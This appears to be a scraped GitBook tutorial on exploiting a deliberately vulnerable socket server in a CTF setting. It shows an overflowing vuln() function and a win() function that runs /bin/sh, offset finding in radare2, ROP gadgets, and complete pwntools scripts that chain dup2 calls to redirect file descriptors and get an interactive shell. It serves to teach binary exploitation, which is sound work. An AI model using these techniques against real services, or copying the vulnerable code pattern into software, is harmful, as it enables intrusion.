arrow-left

All pages
gitbookPowered by GitBook
1 of 3

Loading...

Loading...

Loading...

Exploit

Duplicating the Descriptors

hashtag
Source

I'll include source.c, but most of it is socket programming derived from herearrow-up-right. The two relevent functions - vuln() and win() - I'll list below.

file-archive
6KB
sockets.zip
archive
arrow-up-right-from-squareOpen
Sockets and File Descriptors

Quite literally an easy ret2win.

hashtag
Exploitation

Start the binary with ./vuln 9001.

Basic setup, except it's a remote process:

hashtag
Testing Offset

I pass in a basic pattern and pause directly before:

Once the pause() is reached, I hook on with radare2 and set a breakpoint at the ret.

Ok, so the offset is 40.

hashtag
Generate Exploit

Should be fairly simple, right?

What the hell?

But if we look on the server itself:

A shell was popped there! This is the we talked about before.

So we have a shell, but no way to control it. Time to use dup2.

circle-info

I've simplified this challenge a lot by including a call to dup2() within the vulnerable binary, but normally you would leak libc via the and then use libc's dup2() rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.

hashtag
Duplicating File Descriptors

As we know, we need to call dup2(newfd, oldfd). newfd will be 4 (our connection fd) and oldfd will be 0 and 1 (we need to call it twice to redirect bothstdin and stdout). Knowing what you do about , have a go at doing this and then caling win(). The answer is below.

hashtag
Using dup2()

Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use ROPgadget to find these.

Plonk these values into the script.

Now to get all the calls to dup2().

And wehey - the file descriptors were successfully duplicated!

hashtag
Final Exploit

hashtag
Pwntools' ROP

These kinds of chains are where pwntools' ROP capabilities really come into their own:

Works perfectly and is much shorter and more readable!

void vuln(int childfd) {
    char buffer[30];

    read(childfd, buffer, 500);
    write(childfd, "Thanks!", 8);
}

void win() {
    system("/bin/sh");
}
De Bruijn
file descriptor issue
GOT
calling conventions

Exploiting over Sockets

File Descriptors and Sockets

hashtag
Overview

File Descriptors are integers that represent conections to sockets or files or whatever you're connecting to. In Unix systems, there are 3 main file descriptors (often abbreviated fd) for each application:

Name

These are, as shown above, standard input, output and error. You've probably used them before yourself, for example to hide errors when running commands:

Here you're piping stderr to /dev/null, which is the same principle.

hashtag
File Descriptors and Sockets

Many binaries in CTFs use programs such as socat to redirect stdin and stdout (and sometimes stderr) to the user when they connect. These are super simple and often require no more than a replacement of

With the line

Others, however, implement their own socket programming in C. In these scenarios, stdin and stdout may not be shown back to the user.

The reason for this is every new connection has a different fd. If you listen in C, since fd 0-2 is reserved, the listening socket will often be assigned fd 3. Once we connect, we set up another fd, fd 4 (neither the 3 nor the 4 is certain, but statistically likely).

hashtag
Exploitation with File Desciptors

In these scenarios, it's just as simple to pop a shell. This shell, however, is not shown back to the user - it's shown back to the terminal running the server. Why? Because it utilises fd 0, 1 and 2 for its I/O.

Here we have to tell the program to duplicate the file descriptor in order to redirect stdin and stderr to fd 4, and glibc provides a simple way to do so.

The dup syscall (and C function) duplicates the fd and uses the lowest-numbered free fd. However, we need to ensure it's fd 4 that's used, so we can use dup2(). dup2 takes in two parameters: a newfd and an oldfd. Descriptor oldfd is duplicated to newfd, allowing us to interact with stdin and stdout and actually use any shell we may have popped.

Note that the outlines how if newfd is in use it is silently closed, which is exactly what we wish.

Socat

More on socat

socat is a "multipurpose relay" often used to serve binary exploitation challenges in CTFs. Essentially, it transfers stdin and stdout to the socket and also allows simple forking capabilities. The following is an example of how you could host a binary on port 5000:

socat tcp-l:5000,reuseaddr,fork EXEC:"./vuln",pty,stderr

Most of the command is fairly logical (and the rest you can look up). The important part is that in this scenario we don't have to redirect file descriptors, as socat does it all for us.

What is important, however, is pty mode. Because pty mode allows you to communicate with the process as if you were a user, it takes in input literally - including DELETE characters. If you send a \x7f - a DELETE - it will literally delete the previous character (as shown shortly in my writeup). This is incredibly relevant because in 64-bit the \x7f is almost always present in glibc addresses, so it's not quite so possible to avoid (although you could keep rerunning the exploit until the rare occasion you get an 0x7e... libc base).

To bypass this we use the socat pty escape character \x16 and prepend it to any \x7f we send across.

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'

pause()
p.sendline(payload)
$ r2 -d -A $(pidof vuln)

[0x7f741033bdee]> pdf @ sym.vuln
[...]
â””           0x0040126b      c3             ret

[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b

[0x0040126b]> pxq @ rsp
0x7ffd323ee6f8  0x41415041414f4141  0x4153414152414151   AAOAAPAAQAARAASA
[...]

[0x0040126b]> wopO 0x41415041414f4141
40
payload = flat(
    'A' * 40,
    elf.sym['win']
)

p.sendline(payload)
p.interactive()
$ ROPgadget --binary vuln | grep "pop rdi"
0x000000000040150b : pop rdi ; ret

$ ROPgadget --binary vuln | grep "pop rsi"
0x0000000000401509 : pop rsi ; pop r15 ; ret
POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 
payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 

payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Dream Diary: Chapter 1arrow-up-right

fd

stdin

0

stdout

1

stderr

2

man pagearrow-up-right
find / -name secret.txt 2>/dev/null
p = process()
p = remote(host, port)